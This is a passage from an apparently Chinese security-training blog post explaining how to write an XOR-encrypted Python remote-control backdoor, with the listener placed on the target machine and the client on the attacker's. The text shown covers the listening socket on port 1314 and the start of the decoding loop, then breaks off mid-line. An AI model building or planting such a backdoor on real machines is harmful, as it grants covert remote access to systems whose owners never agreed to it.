作者:掌控安全-冰封小天堂
0x00:前言
正常一个网站分为服务端和客户端,因为是正向的,所以服务端是在目标机器上的,客户端则是攻击者机器上,在这里要感谢MiaGz大师傅,这里很多都是参考了MiaGz大师傅的文章写出来的,进行了一点个人修改,而其中的加密方法则是参考了hacking8.com中python安全工具编写里的方法
0x01:构造思路
服务端要开启指定的监听端口,然后等待客户端来连接,s_sock.listen决定了可以有多少客户端连接,因为客户端发来的数据是用异或加密的。所以我们需要用同样的异或进行解密,完成后再用utf-8解码,从而得到明文消息,然后判断是否是推出命令。如果是则结束循环,外部大循环因为用的是同一个也会停止,如果想要断开后他依然运行可以将他们控制循环用的换掉
服务端
import socket
import os
这部分是参数设置
地址因为是本机,所以可以用空,或者127.0.01,0.0.0.0等方式
Host = ‘’;
Port = 1314;
recv函数接受的最大数据量
bufsize = 8000;
将ip和端口作为元组里的两个元素给变量
ipport = (Host,Port);
初始化对象,设置的参数都是默认的
s_sock =
socket.socket(socket.AF_INET,socket.SOCK_STREAM);
绑定地址到套接字
s_sock.bind(ipport);
控制最大可以有多少连接,也就是组多可以有五个客户端连接过来
s_sock.listen(5);
控制循环的值
stop = False;
while not stop:
#被动的接受TCP客户端的连接,返回来的是一个元组,第一个元素是对方连接设置的各种信息,给c_sock,
#第二个元素则是目标ip和目标通过那个端口过来的 c_sock,caddr = s_sock.accept()
#将ip和端口分别给一个变量 ip,port = caddr; print(’%s connection…’%(ip));
#死循环 while True:
try:
#接受客户端发来的消息,最大数据量为bufsize变量的值
data = c_sock.recv(bufsize);
except:
#如果出现异常就关闭连接,结束循环
c_sock.close();
break;
#使用bytearray函数,将收到的数据(data)转换为一个字节数组,并且是可以修改的,给变量ceshi
ceshi = bytearray(data);
#判断数组的长度,作为终值,因为终值是小于,而且是从0开始所以刚刚好
for i in range(len(